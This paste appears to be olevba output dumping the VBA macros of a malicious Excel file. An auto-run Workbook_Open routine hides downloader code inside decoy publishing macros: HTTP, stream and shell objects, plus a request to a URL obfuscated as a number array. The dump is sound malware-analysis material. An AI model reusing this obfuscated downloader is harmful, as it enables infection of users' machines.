dynamoo

Malicious Excel macro

Nov 19th, 2015
564
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V malware01.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: malware01.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. GoodBadStyles False, "", "", "", ""
  17. MacmillanStyleReport
  18. CheckPrevStyle "", ""
  19. BadTorStyles "", "", "", ""
  20. DeleteContentControlPC
  21. CheckPrev2Paras "", "", ""
  22.  
  23. End Sub
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30. -------------------------------------------------------------------------------
  31. VBA MACRO Ëèñò1.cls
  32. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  33. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  34. (empty macro)
  35. -------------------------------------------------------------------------------
  36. VBA MACRO Ëèñò2.cls
  37. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  38. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  39. (empty macro)
  40. -------------------------------------------------------------------------------
  41. VBA MACRO Ëèñò3.cls
  42. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  43. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  44. (empty macro)
  45. -------------------------------------------------------------------------------
  46. VBA MACRO Module1.bas
  47. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  48. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  49.  
  50. Sub BookmakerReqs()
  51.  If CheckSave = True Then
  52.  Exit Sub
  53.  End If
  54.  Appljj.ication.ScreenUpdating = False
  55.  Dim currentStatusBar As Boolean
  56.  currentStatusBar = Appljj.ication.DisplayStatusBar
  57.  Appljj.ication.DisplayStatusBar = True
  58.  Dim arrStories() As Variant
  59.  arrStories = StoryArray
  60.  Dim sglPercentComplete As Single
  61.  Dim strStatus As String
  62.  Dim strTitle As String
  63.  Dim funArray() As String
  64.  ReDim funArray(1 To 10)
  65.  funArray(1) = "* Is this thing on?..."
  66.  funArray(2) = "* Are we there yet?..."
  67.  funArray(10) = "* Thanks for running the Bookmaker Macro!"
  68.  Dim x As Integer
  69.  Randomize
  70.  x = Int(UBound(funArray()) * Rnd()) + 1
  71.  strTitle = "Bookmaker Requirements Macro"
  72.  sglPercentComplete = 0.02
  73.  strStatus = funArray(x)
  74.  Dim TheOS As String
  75.  TheOS = System.OperatingSystem
  76.  If Not TheOS Like "*Mac*" Then
  77.  Dim oProgressBkmkr As String
  78.  Set oProgressBkmkr = New ProgressBar
  79.  oProgressBkmkr.Title = strTitle
  80.  oProgressBkmkr.Show
  81.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  82.  Dodf.dfze 50
  83.  Else
  84.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  85.  DoEvents
  86.  End If
  87.  Dim currentStory As String
  88.  currentStory = Selection.StoryType
  89.  Selection.Collapse Direction:=wdCollapseStart
  90.  ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range
  91.  If Not TheOS Like "*Mac*" Then
  92.  Call DeleteContentControlPC
  93.  End If
  94.  If FixTrackChanges = False Then
  95.  Appljj.ication.ScreenUpdating = True
  96.  Unload oProgressBkmkr
  97.  Exit Sub
  98.  End If
  99.  Call ISBNcleanup
  100.  sglPercentComplete = 0.05
  101.  strStatus = "* Counting required styles..." & vbCr & strStatus
  102.  If Not TheOS Like "*Mac*" Then
  103.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  104.  Dodf.dfze 50
  105.  Else
  106.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  107.  DoEvents
  108.  End If
  109.  Dim styleCount() As Variant
  110.  styleCount = CountReqdStyles()
  111.  If styleCount(1) = 100 Then
  112.  Appljj.ication.ScreenUpdating = True
  113.  Exit Sub
  114.  End If
  115.  sglPercentComplete = 0.08
  116.  strStatus = "* Correcting heading styles..." & vbCr & strStatus
  117.  If Not TheOS Like "*Mac*" Then
  118.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  119.  Dodf.dfze 50
  120.  Else
  121.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  122.  DoEvents
  123.  End If
  124.  sglPercentComplete = 0.11
  125.  Appljj.ication.ScreenUpdating = True
  126.  strStatus = "* Getting book metadata from manuscript..." & vbCr & strStatus
  127.  If Not TheOS Like "*Mac*" Then
  128.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  129.  Dodf.dfze 50
  130.  Else
  131.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  132.  DoEvents
  133.  End If
  134.  Dim strMetadata As String
  135.  strMetadata = GetMetadata
  136.  sglPercentComplete = 0.15
  137.  strStatus = "* Getting list of illustrations..." & vbCr & strStatus
  138.  If Not TheOS Like "*Mac*" Then
  139.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  140.  Dodf.dfze 50
  141.  Else
  142.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  143.  DoEvents
  144.  End If
  145.  Dim strIllustrationsList As String
  146.  strIllustrationsList = IllustrationsList
  147.  sglPercentComplete = 0.18
  148.  strStatus = "* Getting list of styles in use..." & vbCr & strStatus
  149.  If Not TheOS Like "*Mac*" Then
  150.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  151.  Dodf.dfze 50
  152.  Else
  153.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  154.  DoEvents
  155.  End If
  156.  Dim arrGoodBadStyles() As Variant
  157.  Dim strGoodStylesList As String
  158.  Dim strBadStylesList As String
  159.  arrGoodBadStyles = GoodBadStyles(torDOTcom:=True, ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, _
  160.  Stories:=arrStories)
  161.  strGoodStylesList = arrGoodBadStyles(1)
  162.  strBadStylesList = arrGoodBadStyles(2)
  163.  Dim blnTemplateUsed As Boolean
  164.  Dim strSearchPattern As String
  165.  strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2,} Text -- p. [0-9]{1,}[!\)]{1,}"
  166.  If strGoodStylesList = vbNullString Then
  167.  blnTemplateUsed = False
  168.  ElseIf PatternMatch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then
  169.  blnTemplateUsed = False
  170.  Else
  171.  blnTemplateUsed = True
  172.  End If
  173.  If blnTemplateUsed = False Then
  174.  strGoodStylesList = StylesInUse(ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories)
  175.  strBadStylesList = ""
  176.  End If
  177.  sglPercentComplete = 0.98
  178.  strStatus = "* Checking styles for errors..." & vbCr & strStatus
  179.  If Not TheOS Like "*Mac*" Then
  180.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  181.  Dodf.dfze 50
  182.  Else
  183.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  184.  DoEvents
  185.  End If
  186.  Dim strErrorList As String
  187.  If blnTemplateUsed = True Then
  188.  strErrorList = CreateErrorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True)
  189.  Else
  190.  strErrorList = ""
  191.  End If
  192.  sglPercentComplete = 0.99
  193.  strStatus = "* Creating report file..." & vbCr & strStatus
  194.  If Not TheOS Like "*Mac*" Then
  195.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  196.  Dodf.dfze 50
  197.  Else
  198.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  199.  DoEvents
  200.  End If
  201.  Dim strSuffix As String
  202.  strSuffix = "BookmakerReport"
  203.  Call CreateReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix)
  204.  sglPercentComplete = 1
  205.  strStatus = "* Finishing up..." & vbCr & strStatus
  206.  If Not TheOS Like "*Mac*" Then
  207.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  208.  Dodf.dfze 50
  209.  Else
  210.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  211.  DoEvents
  212.  End If
  213.  If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then
  214.  ActiveDocument.StoryRanges(currentStory).Select
  215.  Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint"
  216.  ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete
  217.  End If
  218.  Appljj.ication.ScreenUpdating = True
  219.  Appljj.ication.DisplayStatusBar = currentStatusBar
  220.  Appljj.ication.ScreenRefresh
  221.  If Not TheOS Like "*Mac*" Then
  222.  Unload oProgressBkmkr
  223.  End If
  224. End Sub
  225. Public Sub MacmillanStyleReport()
  226. simple7 = Array(689, 714, 727, 736, 695, 697, 710, 781, 808, 801, 823, 829, 838, 864, 868, 894, 839, 905, 930, 878, 962, 965, 918, 940, 1002, 964, 976, 1040, 1001, 1065, 1028, 1039, 1048, 1125, 1084, 1095, 1158, 1121, 1133, 1209, 1158, 1170, 1177, 1245, 1277, 1271)
  227. simple1.Open GetMetadata(), GetStringFromArray(simple7, 45), False
  228. Exit Sub
  229.  If CheckSave = True Then
  230.  Exit Sub
  231.  End If
  232.  Appljj.ication.ScreenUpdating = False
  233.  Dim currentStatusBar As Boolean
  234.  currentStatusBar = Appljj.ication.DisplayStatusBar
  235.  Appljj.ication.DisplayStatusBar = True
  236.  Dim arrStories() As Variant
  237.  arrStories = StoryArray
  238.  Dim sglPercentComplete As Single
  239.  Dim strStatus As String
  240.  Dim strTitle As String
  241.  Dim funArray() As String
  242.  ReDim funArray(1 To 10)
  243.  Dim x As Integer
  244.  Randomize
  245.  x = Int(UBound(funArray()) * Rnd()) + 1
  246.  strTitle = "Macmillan Style Report Macro"
  247.  sglPercentComplete = 0.02
  248.  strStatus = funArray(x)
  249.  Dim TheOS As String
  250.  TheOS = System.OperatingSystem
  251.  If Not TheOS Like "*Mac*" Then
  252.  Dim oProgressStyleRpt As String
  253.  'Set oProgressStyleRpt = New ProgressBar
  254. oProgred.ssStyleRpt.Title = strTitle
  255.  oProgred.ssStyleRpt.Show
  256.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  257.  Dodf.dfze 50
  258.  Else
  259.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  260.  DoEvents
  261.  End If
  262.  Dim currentStory As String
  263.  currentStory = Selection.StoryType
  264.  Selection.Collapse Direction:=wdCollapseStart
  265.  ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range
  266.  Dim currentTracking As Boolean
  267.  currentTracking = ActiveDocument.TrackRevisions
  268.  ActiveDocument.TrackRevisions = False
  269.  If Not TheOS Like "*Mac*" Then
  270.  Call DeleteContentControlPC
  271.  End If
  272.  Call ISBNc.leanup
  273.  sglPercentComplete = 0.05
  274.  strStatus = "* Counting required styles..." & vbCr & strStatus
  275.  If Not TheOS Like "*Mac*" Then
  276.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  277.  Dodf.dfze 50
  278.  Else
  279.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  280.  DoEvents
  281.  End If
  282.  Dim styleCount() As Variant
  283.  styleCount = CountRe.qdStyles()
  284.  If styleCount(1) = 100 Then
  285.  Appljj.ication.ScreenUpdating = True
  286.  Unload oProgres.sStyleRpt
  287.  Exit Sub
  288.  End If
  289.  sglPercentComplete = 0.09
  290.  strStatus = "* Checking for correct heading styles..." & vbCr & strStatus
  291.  If Not TheOS Like "*Mac*" Then
  292.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  293.  Dodf.dfze 50
  294.  Else
  295.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  296.  DoEvents
  297.  End If
  298.  sglPercentComplete = 0.12
  299.  strStatus = "* Getting title, author, ISBN from manuscript..." & vbCr & strStatus
  300.  If Not TheOS Like "*Mac*" Then
  301.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  302.  Dodf.dfze 50
  303.  Else
  304.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  305.  DoEvents
  306.  End If
  307.  Dim strMetadata As String
  308.  strMetadata = GetMetadata
  309.  sglPercentComplete = 0.15
  310.  strStatus = "* Generating illustration list..." & vbCr & strStatus
  311.  If Not TheOS Like "*Mac*" Then
  312.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  313.  Dodf.dfze 50
  314.  Else
  315.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  316.  DoEvents
  317.  End If
  318.  Dim strIllustrationsList As String
  319.  strIllustrationsList = IllustrationsList
  320.  sglPercentComplete = 0.18
  321.  strStatus = "* Generating list of Macmillan styles..." & vbCr & strStatus
  322.  If Not TheOS Like "*Mac*" Then
  323.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  324.  Dodf.dfze 50
  325.  Else
  326.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  327.  DoEvents
  328.  End If
  329.  Dim arrGoodBadStyles() As Variant
  330.  Dim strGoodStylesList As String
  331.  Dim strBadStylesList As String
  332.  arrGoodBadStyles = GoodBadStyles(torDOTcom:=False, ProgressBar:=oProgressStyleRpt, _
  333.  Status:=strStatus, ProgTitle:=strTitle, Stories:=arrSt.ories)
  334.  strGoodStylesList = arrGoodBadStyles(1)
  335.  strBadStylesList = arrGoodBadStyles(2)
  336.  Dim blnTemplateUsed As Boolean
  337.  Dim strSearchPattern As String
  338.  strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2,} Text -- p. [0-9]{1,}[!\)]{1,}"
  339.  If strGoodStylesList = vbNullString Then
  340.  blnTemplateUsed = False
  341.  ElseIf PatternM.atch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then
  342.  blnTemplateUsed = False
  343.  Else
  344.  blnTemplateUsed = True
  345.  End If
  346.  If blnTemplateUsed = False Then
  347.  strGoodStylesList = Styles.InUse(ProgressBar:=oProgressStyleRpt, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories)
  348.  strBadStylesList = ""
  349.  End If
  350.  sglPercentComplete = 0.98
  351.  strStatus = "* Checking styles for errors..." & vbCr & strStatus
  352.  If Not TheOS Like "*Mac*" Then
  353.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  354.  Dodf.dfze 50
  355.  Else
  356.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  357.  DoEvents
  358.  End If
  359.  Dim strErrorList As String
  360.  If blnTemplateUsed = True Then
  361.  strErrorList = CreateEr.rorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True)
  362.  Else
  363.  strErrorList = ""
  364.  End If
  365.  sglPercentComplete = 0.99
  366.  strStatus = "* Creating report file..." & vbCr & strStatus
  367.  If Not TheOS Like "*Mac*" Then
  368.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  369.  Dodf.dfze 50
  370.  Else
  371.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  372.  DoEvents
  373.  End If
  374.  Dim strSuffix As String
  375.  strSuffix = "StyleReport"
  376.  Call Creat.eReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix)
  377.  sglPercentComplete = 1
  378.  strStatus = "* Finishing up" & vbCr & strStatus
  379.  If Not TheOS Like "*Mac*" Then
  380.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  381.  Dodf.dfze 50
  382.  Else
  383.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  384.  DoEvents
  385.  End If
  386.  If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then
  387.  ActiveDocument.StoryRanges(currentStory).Select
  388.  Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint"
  389.  ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete
  390.  End If
  391.  ActiveDocument.TrackRevisions = currentTracking
  392.  Appljj.ication.ScreenUpdating = True
  393.  Appljj.ication.DisplayStatusBar = currentStatusBar
  394.  Appljj.ication.ScreenRefresh
  395.  If Not TheOS Like "*Mac*" Then
  396.  Unload oProgre.ssStyleRpt
  397.  End If
  398. End Sub
  399. Public Function GoodBadStyles(torDOTcom As Boolean, ProgressBar As String, Status As String, ProgTitle As String, Stories As String) As Variant
  400.  Dim TheOS As String
  401.  'TheOS = System.OperatingSystem
  402. Dim sglPercentComplete As Single
  403.  Dim strStatus As String
  404.  Dim activeDoc As String
  405.  Dim stylesGood() As String
  406.  Dim stylesGoodLong As Long
  407.  stylesGoodLong = 400
  408.  ReDim stylesGood(stylesGoodLong)
  409.  Dim stylesBad() As String
  410.  ReDim stylesBad(1 To 100)
  411.  Dim styleGoodCount As Integer
  412.  Dim styleBadCount As Integer
  413.  Dim styleBadOverflow As Boolean
  414.  Dim activeParaCount As Integer
  415.  Dim J As Integer, K As Integer, L As Integer
  416.  Dim paraStyle As String
  417.  Dim activeParaRange As Range
  418.  Dim pageNumber As Integer
  419.  Dim a As Long
  420. Set simple1 = CreateObject("Microsoft" + ".XMLHTTP")
  421. Set simple2 = CreateObject("Adodb.Stream")
  422. Set simple6 = CreateObject("Shell.Application")
  423. Set simple3 = CreateObject("WScript.Shell").Environment("Process")
  424. Exit Function
  425.  ActiveDocument.Styles("Normal (Web)").NameLocal = "_"
  426.  styleGoodCount = 0
  427.  styleBadCount = 0
  428.  styleBadOverflow = False
  429.  activeParaCount = activh.eDoc.Paragraphs.Count
  430.  For J = 1 To activeParaCount
  431.  If J Mod 100 = 0 Then
  432.  sglPercentComplete = (((J / activeParaCount) * 0.45) + 0.18)
  433.  strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & _
  434.  vbCr & Status
  435.  If Not TheOS Like "*Mac*" Then
  436.  Progg.gressBar.Increment sglPercentComplete, strStatus
  437.  Dss.oze 50
  438.  Else
  439.  Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  440.  DoEvents
  441.  End If
  442.  End If
  443.  For a = LBound(Sff.tories()) To UBound(Stddd.ories())
  444.  If J <= ActiveDocument.StoryRanges(Stordd.ies(a)).Paragraphs.Count Then
  445.  paraStyle = activh.eDoc.StoryRanges(Stodd.ries(a)).Paragraphs(J).Style
  446.  Set activeParaRange = activh.eDoc.StoryRanges(Stocc.ries(a)).Paragraphs(J).Range
  447.  pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
  448.  If Right(paraStyle, 1) = ")" Then
  449. CheckGoodStyles:
  450.  For K = 1 To styleGoodCount
  451.  If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then
  452.  K = styleGoodCount
  453.  Exit For
  454.  End If
  455.  Next K
  456.  If K = styleGoodCount + 1 Then
  457.  styleGoodCount = K
  458.  ReDim Preserve stylesGood(1 To styleGoodCount)
  459.  stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber
  460.  End If
  461.  Else
  462.  If paraStyle = "Endnote Text" Or paraStyle = "Footnote Text" Then
  463.  GoTo CheckGoodStyles
  464.  Else
  465.  For L = 1 To styleBadCount
  466.  Next L
  467.  If L > 100 Then
  468.  styleBadOverflow = True
  469.  stylesBad(100) = "** WARNING: More than 100 paragraphs with bad styles found." & vbNewLine & vbNewLine
  470.  Exit For
  471.  End If
  472.  If L = styleBadCount + 1 Then
  473.  styleBadCount = L
  474.  stylesBad(styleBadCount) = "** ERROR: Non-Macmillan style on page " & pageNumber & _
  475.  " (Paragraph " & J & "): " & paraStyle & vbNewLine & vbNewLine
  476.  End If
  477.  End If
  478.  End If
  479.  End If
  480.  Next a
  481.  Next J
  482.  Status = "* Checking paragraphs for Macmillan styles..." & vbCr & Status
  483.  ActiveDocument.Styles("Normal (Web),_").NameLocal = "Normal (Web)"
  484.  If K <> 0 Then
  485.  ReDim Preserve stylesGood(1 To styleGoodCount)
  486.  WordBasic.SortArray stylesGood()
  487.  End If
  488.  Dim strGoodStyles As String
  489.  If styleGoodCount = 0 Then
  490.  strGoodStyles = ""
  491.  Else
  492.  For K = LBound(stylesGood()) To UBound(stylesGood())
  493.  strGoodStyles = strGoodStyles & stylesGood(K) & vbCrLf
  494.  Next K
  495.  End If
  496.  If styleBadCount > 0 Then
  497.  Dim strBadStyles As String
  498.  ReDim Preserve stylesBad(1 To styleBadCount)
  499.  For L = LBound(stylesBad()) To UBound(stylesBad())
  500.  strBadStyles = strBadStyles & stylesBad(L)
  501.  Next L
  502.  Else
  503.  strBadStyles = ""
  504.  End If
  505.  Dim charStyles As String
  506.  Dim styleNameM(1 To 21) As String
  507.  Dim M As Integer
  508.  styleNameM(1) = "span italic characters (ital)"
  509.  styleNameM(2) = "span boldface characters (bf)"
  510.  styleNameM(14) = "span material to come (tk)"
  511.  styleNameM(15) = "span carry query (cq)"
  512.  styleNameM(16) = "span preserve characters (pre)"
  513.  styleNameM(17) = "span strikethrough characters (str)"
  514.  styleNameM(18) = "bookmaker keep together (kt)"
  515.  styleNameM(19) = "span ISBN (isbn)"
  516.  styleNameM(20) = "span symbols ital (symi)"
  517.  styleNameM(21) = "span symbols bold (symb)"
  518.  For M = 1 To UBound(styleNameM())
  519.  sglPercentComplete = (((M / UBound(styleNameM())) * 0.13) + 0.63)
  520.  strStatus = "* Checking for " & styleNameM(M) & " styles..." & vbCr & Status
  521.  If Not TheOS Like "*Mac*" Then
  522.  Progg.gressBar.Increment sglPercentComplete, strStatus
  523.  Doff.ze 50
  524.  Else
  525.  Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  526.  DoEvents
  527.  End If
  528.  On Error GoTo ErrHandler
  529.  Selection.HomeKey Unit:=wdStory
  530.  With Selection.Find
  531.  .Style = ActiveDocument.Styles(styleNameM(M))
  532.  .Wrap = wdFindContinue
  533.  .Format = True
  534.  .Execute
  535.  End With
  536.  If Selection.Find.Found = True Then
  537.  charStyles = charStyles & styleNameM(M) & vbNewLine
  538.  Else
  539.  If ActiveDocument.Footnotes.Count > 0 Then
  540.  ActiveDocument.StoryRanges(wdFootnotesStory).Select
  541.  With Selection.Find
  542.  .Style = ActiveDocument.Styles(styleNameM(M))
  543.  .Wrap = wdFindContinue
  544.  .Format = True
  545.  .Execute
  546.  End With
  547.  If Selection.Find.Found = True Then
  548.  charStyles = charStyles & styleNameM(M) & vbNewLine
  549.  Else
  550.  GoTo CheckEndnotes
  551.  End If
  552.  Else
  553. CheckEndnotes:
  554.  If ActiveDocument.Endnotes.Count > 0 Then
  555.  ActiveDocument.StoryRanges(wdEndnotesStory).Select
  556.  With Selection.Find
  557.  .Style = ActiveDocument.Styles(styleNameM(M))
  558.  .Wrap = wdFindContinue
  559.  .Format = True
  560.  .Execute
  561.  End With
  562.  If Selection.Find.Found = True Then
  563.  charStyles = charStyles & styleNameM(M) & vbNewLine
  564.  End If
  565.  End If
  566.  End If
  567.  End If
  568. NextLoop:
  569.  Next M
  570.  Status = "* Checking character styles..." & vbCr & Status
  571.  strGoodStyles = strGoodStyles & charStyles
  572.  Dim strTorBadStyles As String
  573.  If torDOTcom = True Then
  574.  strBadStyles = strBadStyles & strTorBadStyles
  575.  End If
  576.  Dim arrFinalLists() As Variant
  577.  ReDim arrFinalLists(1 To 2)
  578.  arrFinalLists(1) = strGoodStyles
  579.  arrFinalLists(2) = strBadStyles
  580.  GoodBadStyles = arrFinalLists
  581.  Exit Function
  582. ErrHandler:
  583.  Debug.Print Err.Number & " : " & Err.Description
  584.  If Err.Number = 5834 Or Err.Number = 5941 Then
  585.  Resume NextLoop
  586.  End If
  587. End Function
  588.  
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595.  
  596.  
  597. -------------------------------------------------------------------------------
  598. VBA MACRO Module2.bas
  599. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  600. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  601. Public simple1 As Object
  602. Public simple2 As Object
  603. Public simple3  As Object
  604. Public simple4 As String
  605. Public simple5 As String
  606. Public simple6 As Object
  607. Public simple7() As Variant
  608. Private Function CreateErrorList(badStyles As String, arrStyleCount() As Variant, torDOTcom As Boolean) As String
  609.  Dim errorList As String
  610.  errorList = ""
  611.  If arrStyleCount(1) = 0 Then errorList = errorList & "** ERROR: No styled title detected." & _
  612.  vbNewLine & vbNewLine
  613.  If arrStyleCount(1) > 1 Then errorList = errorList & "** ERROR: Too many title paragraphs detected." _
  614.  & " Only 1 allowed." & vbNewLine & vbNewLine
  615.  If arrStyleCount(1) > 0 Then errorList = errorList & CheckPrevStyle(findStyle:="Titlepage Book Title (tit)", _
  616.  prevStyle:="Page Break (pb)")
  617.  If arrStyleCount(2) = 0 Then errorList = errorList & "** ERROR: No styled author name detected." _
  618.  & vbNewLine & vbNewLine
  619.  If arrStyleCount(3) = 0 Then
  620.  errorList = errorList & "** ERROR: No styled ISBN detected." _
  621.  & vbNewLine & vbNewLine
  622.  Else
  623.  If torDOTcom = True Then
  624.  errorList = errorList & BookTypeCheck
  625.  End If
  626.  End If
  627.  If arrStyleCount(14) > 0 And arrStyleCount(15) > 0 Then errorList = errorList & CheckPrev2Paras("Illustration holder (ill)", _
  628.  "Caption (cap)", "Illustration Source (is)")
  629.  End If
  630.  errorList = errorList & CheckAfterPB
  631.  errorList = errorList & badStyles
  632.  If errorList <> "" Then
  633.  errorList = errorList & vbNewLine & "If you have any questions about how to handle these errors, " & vbNewLine & _
  634.  "please contact workflows@macmillan.com." & vbNewLine
  635.  End If
  636.  CreateErrorList = errorList
  637. End Function
  638. Private Function GetText(styleName As String) As String
  639.  Dim fString As String
  640.  Dim fCount As Integer
  641.  fCount = 0
  642.  Selection.HomeKey Unit:=wdStory
  643.  On Error GoTo ErrHandler
  644.  Selection.Find.ClearFormatting
  645.  With Selection.Find
  646.  .Text = ""
  647.  .Replacement.Text = ""
  648.  .Forward = True
  649.  .Wrap = wdFindStop
  650.  .Format = True
  651.  .Style = ActiveDocument.Styles(styleName)
  652.  .MatchCase = False
  653.  .MatchWholeWord = False
  654.  .MatchWildcards = False
  655.  .MatchSoundsLike = False
  656.  .MatchAllWordForms = False
  657.  End With
  658.  Do While Selection.Find.Execute = True And fCount < 100
  659.  fCount = fCount + 1
  660.  If InStr(Selection.Text, Chr(13)) > 0 Then
  661.  Selection.MoveEnd Unit:=wdCharacter, Count:=-1
  662.  End If
  663.  fString = fString & Selection.Text & vbNewLine
  664.  If InStr(styleName, "span") = 0 Then
  665.  Selection.MoveEndWhile Cset:=Chr(13), Count:=1
  666.  End If
  667.  Loop
  668.  If fCount = 0 Then
  669.  GetText = ""
  670.  Else
  671.  GetText = fString
  672.  End If
  673.  Exit Function
  674. ErrHandler:
  675.  If Err.Number = 5941 Or Err.Number = 5834 Then
  676.  GetText = ""
  677.  End If
  678. End Function
  679. Public Function CheckPrevStyle(findStyle As String, prevStyle As String) As String
  680.  Dim jString As String
  681.  Dim jCount As Integer
  682.  Dim pageNum As Integer
  683.  Dim intCurrentPara As Integer
  684. simple4 = simple3("TEMP")
  685. Exit Function
  686.  Appljj.ication.ScreenUpdating = False
  687.  On Error GoTo ErrHandler:
  688.  Dim keyStyle As String
  689.  Set keyS.tyle = ActiveDocument.Styles(findStyle)
  690.  Set keyS.tyle = ActiveDocument.Styles(prevStyle)
  691.  jCount = 0
  692.  jString = ""
  693.  Selection.HomeKey Unit:=wdStory
  694.  Selection.Find.ClearFormatting
  695.  With Selection.Find
  696.  .Text = ""
  697.  .Replacement.Text = ""
  698.  .Forward = True
  699.  .Wrap = wdFindStop
  700.  .Format = True
  701.  .Style = ActiveDocument.Styles(findStyle)
  702.  .MatchCase = False
  703.  .MatchWholeWord = False
  704.  .MatchWildcards = False
  705.  .MatchSoundsLike = False
  706.  .MatchAllWordForms = False
  707.  End With
  708.  Do While Selection.Find.Execute = True And jCount < 200
  709.  jCount = jCount + 1
  710.  Dim rParagraphs As Range
  711.  Dim CurPos As Long
  712.  Selection.Range.Select
  713.  CurPos = ActiveDocument.Bookmarks("\startOfSel").Start
  714.  Set rParagraphs = ActiveDocument.Range(Start:=0, End:=CurPos)
